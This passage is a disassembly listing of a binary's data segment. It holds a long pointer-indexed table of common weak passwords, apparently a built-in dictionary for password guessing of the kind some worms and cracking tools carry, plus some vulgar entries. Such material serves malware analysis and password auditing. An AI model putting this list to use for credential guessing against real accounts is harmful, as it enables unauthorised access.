aStarwars	db 'starwars',0         ; DATA XREF: seg002:00423C74o
		align 10h
aStartup	db 'startup',0          ; DATA XREF: seg002:00423C70o
aStartrek	db 'startrek',0         ; DATA XREF: seg002:00423C6Co
		align 4
aStart		db 'start',0            ; DATA XREF: seg000:0040A786o
					; seg002:00423C68o
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg002:00423C64o
		align 4
aStar		db 'star',0             ; DATA XREF: seg002:00423C60o
		align 10h
aStacy		db 'stacy',0            ; DATA XREF: seg002:00423C5Co
		align 4
aStacie		db 'stacie',0           ; DATA XREF: seg002:00423C58o
		align 10h
aStaci		db 'staci',0            ; DATA XREF: seg002:00423C54o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: seg002:00423C50o
		align 10h
aSr71		db 'sr71',0             ; DATA XREF: seg002:00423C4Co
		align 4
aSquires	db 'squires',0          ; DATA XREF: seg002:00423C48o
aSpunk		db 'spunk',0            ; DATA XREF: seg002:00423C44o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: seg002:00423C40o
		align 4
aSpring		db 'spring',0           ; DATA XREF: seg002:00423C3Co
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg002:00423C38o
		align 4
aSpit		db 'spit',0             ; DATA XREF: seg002:00423C34o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg002:00423C30o
		align 4
aSpider		db 'spider',0           ; DATA XREF: seg002:00423C2Co
		align 10h
aSpice		db 'spice',0            ; DATA XREF: seg002:00423C28o
		align 4
aSpell		db 'spell',0            ; DATA XREF: seg002:00423C24o
		align 10h
aSpear		db 'spear',0            ; DATA XREF: seg002:00423C20o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: seg002:00423C1Co
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg002:00423C18o
		align 10h
aSouth		db 'south',0            ; DATA XREF: seg002:00423C14o
		align 4
aSource		db 'source',0           ; DATA XREF: seg002:00423C10o
		align 10h
aSossina	db 'sossina',0          ; DATA XREF: seg002:00423C0Co
aSonya		db 'sonya',0            ; DATA XREF: seg002:00423C08o
		align 10h
aSonic		db 'sonic',0            ; DATA XREF: seg002:00423C04o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: seg002:00423C00o
		align 10h
aSondra		db 'sondra',0           ; DATA XREF: seg002:00423BFCo
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: seg002:00423BF8o
		align 4
aSoftware	db 'software',0         ; DATA XREF: seg002:00423BF4o
		align 10h
aSoft		db 'soft',0             ; DATA XREF: seg002:00423BF0o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: seg002:00423BECo
		align 10h
aSocrates	db 'socrates',0         ; DATA XREF: seg002:00423BE8o
		align 4
aSocial		db 'social',0           ; DATA XREF: seg002:00423BE4o
		align 4
aSoap		db 'soap',0             ; DATA XREF: seg002:00423BE0o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: seg002:00423BDCo
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: seg002:00423BD8o
		align 4
aSnake		db 'snake',0            ; DATA XREF: seg002:00423BD4o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: seg002:00423BD0o
		align 4
aSnach		db 'snach',0            ; DATA XREF: seg002:00423BCCo
		align 4
aSmut		db 'smut',0             ; DATA XREF: seg002:00423BC8o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: seg002:00423BC4o
		align 4
aSmother	db 'smother',0          ; DATA XREF: seg002:00423BC0o
aSmooch		db 'smooch',0           ; DATA XREF: seg002:00423BBCo
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: seg002:00423BB8o
		align 4
aSmile		db 'smile',0            ; DATA XREF: seg002:00423BB4o
		align 4
aSmart		db 'smart',0            ; DATA XREF: seg002:00423BB0o
		align 4
aSmall		db 'small',0            ; DATA XREF: seg002:00423BACo
		align 4
aSlut		db 'slut',0             ; DATA XREF: seg002:00423BA8o
		align 4
aSlow		db 'slow',0             ; DATA XREF: seg002:00423BA4o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: seg002:00423BA0o
aSlick		db 'slick',0            ; DATA XREF: seg002:00423B9Co
		align 4
aSlave		db 'slave',0            ; DATA XREF: seg002:00423B98o
		align 4
aSkull		db 'skull',0            ; DATA XREF: seg002:00423B94o
		align 4
aSite		db 'site',0             ; DATA XREF: seg002:00423B90o
		align 4
aSingle		db 'single',0           ; DATA XREF: seg002:00423B8Co
		align 4
aSinger		db 'singer',0           ; DATA XREF: seg002:00423B88o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg002:00423B84o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: seg002:00423B80o
		align 4
aSimple		db 'simple',0           ; DATA XREF: seg002:00423B7Co
		align 4
aSimon		db 'simon',0            ; DATA XREF: seg002:00423B78o
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: seg002:00423B74o
aSilver		db 'silver',0           ; DATA XREF: seg002:00423B70o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: seg002:00423B6Co
		align 10h
aSierra		db 'sierra',0           ; DATA XREF: seg002:00423B68o
		align 4
aSick		db 'sick',0             ; DATA XREF: seg002:00423B64o
		align 10h
aShuttle	db 'shuttle',0          ; DATA XREF: seg002:00423B60o
aShort		db 'short',0            ; DATA XREF: seg002:00423B5Co
		align 10h
aShivers	db 'shivers',0          ; DATA XREF: seg002:00423B58o
aShiva		db 'shiva',0            ; DATA XREF: seg002:00423B54o
		align 10h
aShitpot	db 'shitpot',0          ; DATA XREF: seg002:00423B50o
aShit		db 'shit',0             ; DATA XREF: seg002:00423B4Co
		align 10h
aShirley	db 'shirley',0          ; DATA XREF: seg002:00423B48o
aShift		db 'shift',0            ; DATA XREF: seg002:00423B44o
		align 10h
aSherri		db 'sherri',0           ; DATA XREF: seg002:00423B40o
		align 4
aShell		db 'shell',0            ; DATA XREF: seg002:00423B3Co
		align 10h
aSheldon	db 'sheldon',0          ; DATA XREF: seg002:00423B38o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg002:00423B34o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: seg002:00423B30o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg002:00423B2Co
		align 4
aShark		db 'shark',0            ; DATA XREF: seg002:00423B28o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg002:00423B24o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: seg002:00423B20o
aSexy		db 'sexy',0             ; DATA XREF: seg002:00423B1Co
		align 4
aSesame		db 'sesame',0           ; DATA XREF: seg002:00423B18o
		align 4
aService	db 'service',0          ; DATA XREF: seg002:00423B14o
					; seg002:004246DCo
aSerial		db 'serial',0           ; DATA XREF: seg002:00423B10o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg002:00423B0Co
		align 4
aSentry		db 'sentry',0           ; DATA XREF: seg002:00423B08o
		align 10h
aSentinel	db 'sentinel',0         ; DATA XREF: seg002:00423B04o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg002:00423B00o
		align 4
aSega		db 'sega',0             ; DATA XREF: seg002:00423AFCo
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg002:00423AF8o
		align 4
aSecurity	db 'security',0         ; DATA XREF: seg002:00423AF4o
		align 10h
aSearch		db 'search',0           ; DATA XREF: seg002:00423AF0o
		align 4
aScout		db 'scout',0            ; DATA XREF: seg002:00423AECo
		align 10h
aScotty		db 'scotty',0           ; DATA XREF: seg002:00423AE8o
		align 4
aScott		db 'scott',0            ; DATA XREF: seg002:00423AE4o
		align 10h
aScorpion	db 'scorpion',0         ; DATA XREF: seg002:00423AE0o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg002:00423ADCo
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg002:00423AD8o
aSchool		db 'school',0           ; DATA XREF: seg002:00423AD4o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: seg002:00423AD0o
		align 10h
aScamper	db 'scamper',0          ; DATA XREF: seg002:00423ACCo
aSaxon		db 'saxon',0            ; DATA XREF: seg002:00423AC8o
		align 10h
aSaturn		db 'saturn',0           ; DATA XREF: seg002:00423AC4o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: seg002:00423AC0o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: seg002:00423ABCo
		align 4
aSara		db 'sara',0             ; DATA XREF: seg002:00423AB8o
		align 4
aSandy		db 'sandy',0            ; DATA XREF: seg002:00423AB4o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg002:00423AB0o
		align 4
aSample		db 'sample',0           ; DATA XREF: seg002:00423AACo
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg002:00423AA8o
		align 4
aSalt		db 'salt',0             ; DATA XREF: seg002:00423AA4o
		align 10h
aSale		db 'sale',0             ; DATA XREF: seg002:00423AA0o
		align 4
aSalami		db 'salami',0           ; DATA XREF: seg002:00423A9Co
		align 10h
aSafe		db 'safe',0             ; DATA XREF: seg002:00423A98o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: seg002:00423A94o
		align 10h
aRush		db 'rush',0             ; DATA XREF: seg002:00423A90o
		align 4
aRunning	db 'running',0          ; DATA XREF: seg002:00423A8Co
aRules		db 'rules',0            ; DATA XREF: seg002:00423A88o
		align 4
aRude		db 'rude',0             ; DATA XREF: seg002:00423A84o
		align 10h
aRuby		db 'ruby',0             ; DATA XREF: seg002:00423A80o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: seg002:00423A7Co
		align 10h
aRubber		db 'rubber',0           ; DATA XREF: seg002:00423A78o
		align 4
aRough		db 'rough',0            ; DATA XREF: seg002:00423A74o
		align 10h
aRoses		db 'roses',0            ; DATA XREF: seg002:00423A70o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: seg002:00423A6Co
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: seg002:00423A68o
aRose		db 'rose',0             ; DATA XREF: seg002:00423A64o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: seg002:00423A60o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg002:00423A5Co
aRomeo		db 'romeo',0            ; DATA XREF: seg002:00423A58o
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg002:00423A54o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: seg002:00423A50o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg002:00423A4Co
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg002:00423A48o
		align 10h
aRocky		db 'rocky',0            ; DATA XREF: seg002:00423A44o
		align 4
aRock		db 'rock',0             ; DATA XREF: seg002:00423A40o
		align 10h
aRocheste	db 'rocheste',0         ; DATA XREF: seg002:00423A3Co
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg002:00423A38o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: seg002:00423A34o
		align 10h
aRobotics	db 'robotics',0         ; DATA XREF: seg002:00423A30o
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg002:00423A2Co
		align 4
aRobin		db 'robin',0            ; DATA XREF: seg002:00423A28o
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg002:00423A24o
		align 4
aRoach		db 'roach',0            ; DATA XREF: seg002:00423A20o
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg002:00423A1Co
		align 4
aRipple		db 'ripple',0           ; DATA XREF: seg002:00423A18o
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg002:00423A14o
		align 4
aRing		db 'ring',0             ; DATA XREF: seg002:00423A10o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg002:00423A0Co
		align 4
aRight		db 'right',0            ; DATA XREF: seg002:00423A08o
		align 10h
aRiffraff	db 'riffraff',0         ; DATA XREF: seg002:00423A04o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg002:00423A00o
		align 4
aRich		db 'rich',0             ; DATA XREF: seg002:004239FCo
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg002:004239F8o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: seg002:004239F4o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg002:004239F0o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: seg002:004239ECo
		align 4
aReport		db 'report',0           ; DATA XREF: seg002:004239E8o
		align 4
aRent		db 'rent',0             ; DATA XREF: seg002:004239E4o
		align 4
aReno		db 'reno',0             ; DATA XREF: seg002:004239E0o
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg002:004239DCo
		align 4
aRemote		db 'remote',0           ; DATA XREF: seg002:004239D8o
		align 4
aRelease	db 'release',0          ; DATA XREF: seg002:004239D4o
aRegional	db 'regional',0         ; DATA XREF: seg002:004239D0o
		align 10h
aReferenc	db 'referenc',0         ; DATA XREF: seg002:004239CCo
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg002:004239C8o
aReddawn	db 'reddawn',0          ; DATA XREF: seg002:004239C4o
aRecord		db 'record',0           ; DATA XREF: seg002:004239C0o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: seg002:004239BCo
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: seg002:004239B8o
aRebal		db 'rebal',0            ; DATA XREF: seg002:004239B4o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg002:004239B0o
		align 4
aReam		db 'ream',0             ; DATA XREF: seg002:004239ACo
		align 4
aReally		db 'really',0           ; DATA XREF: seg002:004239A8o
		align 4
aReality	db 'reality',0          ; DATA XREF: seg002:004239A4o
aReagan		db 'reagan',0           ; DATA XREF: seg002:004239A0o
		align 4
aRazor		db 'razor',0            ; DATA XREF: seg002:0042399Co
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg002:00423998o
		align 4
aRape		db 'rape',0             ; DATA XREF: seg002:00423994o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: seg002:0042398Co
aRaindrop	db 'raindrop',0         ; DATA XREF: seg002:00423988o
		align 10h
aRainbow	db 'rainbow',0          ; DATA XREF: seg002:00423984o
aRain		db 'rain',0             ; DATA XREF: seg002:00423980o
		align 10h
aRaid		db 'raid',0             ; DATA XREF: seg002:0042397Co
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: seg002:00423978o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: seg002:00423974o
		align 10h
aRachel		db 'rachel',0           ; DATA XREF: seg002:00423970o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: seg002:0042396Co
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:00423968o
					; seg002:004246C0o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: seg002:00423964o
					; seg002:004246BCo
		align 10h
aQuebec		db 'quebec',0           ; DATA XREF: seg002:00423960o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: seg002:0042395Co
		align 10h
aPuppet		db 'puppet',0           ; DATA XREF: seg002:00423958o
		align 4
aPunk		db 'punk',0             ; DATA XREF: seg002:00423954o
		align 10h
aPunisher	db 'punisher',0         ; DATA XREF: seg002:00423950o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: seg002:0042394Co
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg002:00423948o
aPuke		db 'puke',0             ; DATA XREF: seg002:00423944o
		align 4
aPuck		db 'puck',0             ; DATA XREF: seg002:00423940o
		align 4
aPublic		db 'public',0           ; DATA XREF: seg002:0042393Co
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: seg002:00423938o
		align 10h
aPsycho		db 'psycho',0           ; DATA XREF: seg002:00423934o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: seg002:00423930o
		align 4
aProtect	db 'protect',0          ; DATA XREF: seg002:0042392Co
aPrompt		db 'prompt',0           ; DATA XREF: seg002:00423928o
		align 4
aProgram	db 'program',0          ; DATA XREF: seg002:00423924o
aProfile	db 'profile',0          ; DATA XREF: seg002:00423920o
aProfesso	db 'professo',0         ; DATA XREF: seg002:0042391Co
		align 10h
aProcesso	db 'processo',0         ; DATA XREF: seg002:00423918o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: seg002:00423914o
aPrivs		db 'privs',0            ; DATA XREF: seg002:00423910o
		align 4
aPrivate	db 'private',0          ; DATA XREF: seg002:0042390Co
aPriv		db 'priv',0             ; DATA XREF: seg002:00423908o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: seg002:00423904o
aPrinceto	db 'princeto',0         ; DATA XREF: seg002:00423900o
		align 10h
aPrince		db 'prince',0           ; DATA XREF: seg002:004238FCo
		align 4
aPresto		db 'presto',0           ; DATA XREF: seg002:004238F8o
		align 10h
aPrelude	db 'prelude',0          ; DATA XREF: seg002:004238F4o
aPrecious	db 'precious',0         ; DATA XREF: seg002:004238F0o
		align 4
aPraise		db 'praise',0           ; DATA XREF: seg002:004238ECo
		align 4
aPower		db 'power',0            ; DATA XREF: seg002:004238E8o
		align 4
aPoster		db 'poster',0           ; DATA XREF: seg002:004238E4o
		align 4
aPost		db 'post',0             ; DATA XREF: seg002:004238E0o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: seg002:004238DCo
aPorno		db 'porno',0            ; DATA XREF: seg002:004238D8o
		align 4
aPorn		db 'porn',0             ; DATA XREF: seg002:004238D4o
		align 4
aPork		db 'pork',0             ; DATA XREF: seg002:004238D0o
		align 4
aPoor		db 'poor',0             ; DATA XREF: seg002:004238CCo
		align 4
aPoop		db 'poop',0             ; DATA XREF: seg002:004238C8o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: seg002:004238C4o
		align 10h
aPolynomi	db 'polynomi',0         ; DATA XREF: seg002:004238C0o
		align 4
aPolly		db 'polly',0            ; DATA XREF: seg002:004238BCo
		align 4
aPolice		db 'police',0           ; DATA XREF: seg002:004238B8o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: seg002:004238B4o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: seg002:004238B0o
		align 10h
aPluto		db 'pluto',0            ; DATA XREF: seg002:004238ACo
		align 4
aPlover		db 'plover',0           ; DATA XREF: seg002:004238A8o
		align 10h
aPlayboy	db 'playboy',0          ; DATA XREF: seg002:004238A4o
aPlane		db 'plane',0            ; DATA XREF: seg002:004238A0o
		align 10h
aPizza		db 'pizza',0            ; DATA XREF: seg002:0042389Co
		align 4
aPiss		db 'piss',0             ; DATA XREF: seg002:00423898o
		align 10h
aPinname	db 'pinname',0          ; DATA XREF: seg002:00423894o
aPimp		db 'pimp',0             ; DATA XREF: seg002:00423890o
		align 10h
aPierre		db 'pierre',0           ; DATA XREF: seg002:0042388Co
		align 4
aPick		db 'pick',0             ; DATA XREF: seg002:00423888o
		align 10h
aPhuck		db 'phuck',0            ; DATA XREF: seg002:00423884o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: seg002:00423880o
		align 10h
aPhrase		db 'phrase',0           ; DATA XREF: seg002:0042387Co
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: seg002:00423878o
		align 10h
aPhoton		db 'photon',0           ; DATA XREF: seg002:00423874o
		align 4
aPhone		db 'phone',0            ; DATA XREF: seg002:00423870o
		align 10h
aPhoenix	db 'phoenix',0          ; DATA XREF: seg002:0042386Co
aPhilip		db 'philip',0           ; DATA XREF: seg002:00423868o
		align 10h
aPhil		db 'phil',0             ; DATA XREF: seg002:00423864o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg002:00423860o
		align 10h
aPete		db 'pete',0             ; DATA XREF: seg002:0042385Co
		align 4
aPervert	db 'pervert',0          ; DATA XREF: seg002:00423858o
aPersona	db 'persona',0          ; DATA XREF: seg002:00423854o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg002:00423850o
		align 4
aPermit		db 'permit',0           ; DATA XREF: seg002:0042384Co
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: seg002:00423848o
aPercolat	db 'percolat',0         ; DATA XREF: seg002:00423844o
		align 10h
aPepper		db 'pepper',0           ; DATA XREF: seg002:00423840o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: seg002:0042383Co
		align 10h
aPentium	db 'pentium',0          ; DATA XREF: seg002:00423838o
aPenthous	db 'penthous',0         ; DATA XREF: seg002:00423834o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: seg002:00423830o
		align 10h
aPentagon	db 'pentagon',0         ; DATA XREF: seg002:0042382Co
		align 4
aPenname	db 'penname',0          ; DATA XREF: seg002:00423828o
aPenis		db 'penis',0            ; DATA XREF: seg002:00423824o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: seg002:00423820o
aPenelope	db 'penelope',0         ; DATA XREF: seg002:0042381Co
		align 10h
aPencil		db 'pencil',0           ; DATA XREF: seg002:00423818o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: seg002:00423814o
		align 10h
aPeanuts	db 'peanuts',0          ; DATA XREF: seg002:00423810o
aPaula		db 'paula',0            ; DATA XREF: seg002:0042380Co
		align 10h
aPatty		db 'patty',0            ; DATA XREF: seg002:00423808o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: seg002:00423804o
aPatricia	db 'patricia',0         ; DATA XREF: seg002:00423800o
		align 4
aPaste		db 'paste',0            ; DATA XREF: seg002:004237FCo
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: seg002:004237F8o
		align 10h
aPascal		db 'pascal',0           ; DATA XREF: seg002:004237F4o
		align 4
aPapers		db 'papers',0           ; DATA XREF: seg002:004237F0o
		align 10h
aPaper		db 'paper',0            ; DATA XREF: seg002:004237ECo
		align 4
aPapa		db 'papa',0             ; DATA XREF: seg002:004237E8o
		align 10h
aPamela		db 'pamela',0           ; DATA XREF: seg002:004237E4o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: seg002:004237E0o
		align 4
aPaint		db 'paint',0            ; DATA XREF: seg002:004237DCo
		align 4
aPainless	db 'painless',0         ; DATA XREF: seg002:004237D8o
		align 4
aPacker		db 'packer',0           ; DATA XREF: seg002:004237D4o
		align 10h
aPackard	db 'packard',0          ; DATA XREF: seg002:004237D0o
aPacific	db 'pacific',0          ; DATA XREF: seg002:004237CCo
aOxford		db 'oxford',0           ; DATA XREF: seg002:004237C8o
		align 4
aOutside	db 'outside',0          ; DATA XREF: seg002:004237C4o
aOutput		db 'output',0           ; DATA XREF: seg002:004237C0o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: seg002:004237BCo
		align 10h
aOutdoors	db 'outdoors',0         ; DATA XREF: seg002:004237B8o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: seg002:004237B4o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: seg002:004237B0o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: seg002:004237ACo
		align 4
aOrient		db 'orient',0           ; DATA XREF: seg002:004237A8o
		align 4
aOrca		db 'orca',0             ; DATA XREF: seg002:004237A4o
		align 4
aOperator	db 'operator',0         ; DATA XREF: seg002:004237A0o
		align 10h
aOpensesa	db 'opensesa',0         ; DATA XREF: seg002:0042379Co
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: seg002:00423798o
		align 4
aOpening	db 'opening',0          ; DATA XREF: seg002:00423794o
aOmega		db 'omega',0            ; DATA XREF: seg002:0042378Co
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: seg002:00423788o
		align 10h
aOlivetti	db 'olivetti',0         ; DATA XREF: seg002:00423784o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg002:00423780o
		align 4
aOkay		db 'okay',0             ; DATA XREF: seg002:0042377Co
		align 4
aOffice		db 'office',0           ; DATA XREF: seg002:00423778o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: seg002:00423774o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg002:00423770o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: seg002:0042376Co
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: seg002:00423768o
aNuts		db 'nuts',0             ; DATA XREF: seg002:00423764o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: seg002:00423760o
		align 10h
aNumber		db 'number',0           ; DATA XREF: seg002:0042375Co
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg002:00423758o
		align 10h
aNukem		db 'nukem',0            ; DATA XREF: seg002:00423754o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: seg002:00423750o
		align 10h
aNude		db 'nude',0             ; DATA XREF: seg002:0042374Co
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: seg002:00423748o
aNoxious	db 'noxious',0          ; DATA XREF: seg002:00423744o
aNovember	db 'november',0         ; DATA XREF: seg002:00423740o
		align 4
aNovel		db 'novel',0            ; DATA XREF: seg002:0042373Co
		align 4
aNova		db 'nova',0             ; DATA XREF: seg002:00423738o
		align 4
aNoth		db 'noth',0             ; DATA XREF: seg002:00423734o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg002:00423730o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: seg002:0042372Co
		align 4
aNode		db 'node',0             ; DATA XREF: seg002:00423728o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: seg002:00423724o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg002:00423720o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg002:0042371Co
		align 4
aNita		db 'nita',0             ; DATA XREF: seg002:00423718o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: seg002:00423714o
		align 10h
aNightmar	db 'nightmar',0         ; DATA XREF: seg002:00423710o
		align 4
aNight		db 'night',0            ; DATA XREF: seg002:0042370Co
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: seg002:00423708o
		align 10h
aNicole		db 'nicole',0           ; DATA XREF: seg002:00423704o
		align 4
aNice		db 'nice',0             ; DATA XREF: seg002:00423700o
		align 10h
aNext		db 'next',0             ; DATA XREF: seg002:004236FCo
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: seg002:004236F8o
aNewton		db 'newton',0           ; DATA XREF: seg002:004236F4o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg002:004236F0o
		align 4
aNews		db 'news',0             ; DATA XREF: seg002:004236ECo
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg002:004236E8o
aNetwork_0	db 'network',0          ; DATA XREF: seg002:004236E4o
aNetscape	db 'netscape',0         ; DATA XREF: seg002:004236E0o
		align 4
aNess		db 'ness',0             ; DATA XREF: seg002:004236DCo
		align 10h
aNeptune	db 'neptune',0          ; DATA XREF: seg002:004236D8o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg002:004236D4o
		align 4
aNavy		db 'navy',0             ; DATA XREF: seg002:004236D0o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg002:004236CCo
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: seg002:004236C8o
		align 10h
aNancy		db 'nancy',0            ; DATA XREF: seg002:004236C4o
		align 4
aName		db 'name',0             ; DATA XREF: seg002:004236C0o
		align 10h
aNagel		db 'nagel',0            ; DATA XREF: seg002:004236BCo
		align 4
aMutant		db 'mutant',0           ; DATA XREF: seg002:004236B8o
		align 10h
aMuppets	db 'muppets',0          ; DATA XREF: seg002:004236B4o
aMsdos		db 'msdos',0            ; DATA XREF: seg002:004236B0o
		align 10h
aMpeg		db 'mpeg',0             ; DATA XREF: seg002:004236ACo
		align 4
aMozart		db 'mozart',0           ; DATA XREF: seg002:004236A8o
		align 10h
aMovies		db 'movies',0           ; DATA XREF: seg002:004236A4o
		align 4
aMovie		db 'movie',0            ; DATA XREF: seg002:004236A0o
		align 10h
aMove		db 'move',0             ; DATA XREF: seg002:0042369Co
		align 4
aMouse		db 'mouse',0            ; DATA XREF: seg002:00423698o
		align 10h
aMountain	db 'mountain',0         ; DATA XREF: seg002:00423694o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg002:00423690o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: seg002:0042368Co
		align 10h
aMortalco	db 'mortalco',0         ; DATA XREF: seg002:00423688o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg002:00423684o
		align 4
aMorris		db 'morris',0           ; DATA XREF: seg002:00423680o
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg002:0042367Co
		align 4
aMore		db 'more',0             ; DATA XREF: seg002:00423678o
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg002:00423674o
		align 4
aMoor		db 'moor',0             ; DATA XREF: seg002:00423670o
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg002:0042366Co
		align 4
aMonica		db 'monica',0           ; DATA XREF: seg002:00423668o
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg002:00423664o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: seg002:00423660o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg002:0042365Co
		align 4
aModem		db 'modem',0            ; DATA XREF: seg002:00423658o
		align 4
aMode		db 'mode',0             ; DATA XREF: seg002:00423654o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: seg002:00423650o
		align 4
aMission	db 'mission',0          ; DATA XREF: seg002:0042364Co
aMisfit		db 'misfit',0           ; DATA XREF: seg002:00423648o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg002:00423644o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: seg002:00423640o
aMine		db 'mine',0             ; DATA XREF: seg002:0042363Co
		align 4
aMike		db 'mike',0             ; DATA XREF: seg002:00423638o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg002:00423634o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: seg002:00423630o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: seg002:0042362Co
